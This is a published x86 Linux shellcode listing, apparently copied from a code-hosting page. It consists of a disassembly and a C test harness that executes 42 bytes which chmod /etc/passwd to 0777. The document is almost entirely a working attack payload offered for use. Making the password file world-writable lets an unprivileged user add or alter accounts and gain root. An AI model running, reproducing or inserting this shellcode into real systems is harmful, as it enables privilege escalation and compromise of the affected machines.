40 lines
No EOL
1.5 KiB
NASM
40 lines
No EOL
1.5 KiB
NASM
/*
|
|
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
|
|
# Platform: linux/x86_64
|
|
# Author: Mohammad Reza Espargham
|
|
# Linkedin : https://ir.linkedin.com/in/rezasp
|
|
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
|
|
# Website : www.reza.es
|
|
# Twitter : https://twitter.com/rezesp
|
|
# FaceBook : https://www.facebook.com/mohammadreza.espargham
|
|
|
|
|
|
Disassembly of section .text:
|
|
|
|
|
|
00000000 <.text>:
|
|
0: 6a 0f push $0xf
|
|
2: 58 pop %eax
|
|
3: 68 90 90 ff 01 push $0x1ff9090
|
|
8: 59 pop %ecx
|
|
9: c1 e9 10 shr $0x10,%ecx
|
|
c: 68 90 73 77 64 push $0x64777390
|
|
11: 5b pop %ebx
|
|
12: c1 eb 08 shr $0x8,%ebx
|
|
15: 53 push %ebx
|
|
16: 68 2f 70 61 73 push $0x7361702f
|
|
1b: 68 2f 65 74 63 push $0x6374652f
|
|
20: 89 e3 mov %esp,%ebx
|
|
22: cd 80 int $0x80
|
|
24: b0 01 mov $0x1,%al
|
|
26: b3 01 mov $0x1,%bl
|
|
28: cd 80 int $0x80
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
int main(){
|
|
unsigned char shellcode[]= "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
|
|
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
|
|
(*(void(*)()) shellcode)();
|
|
} |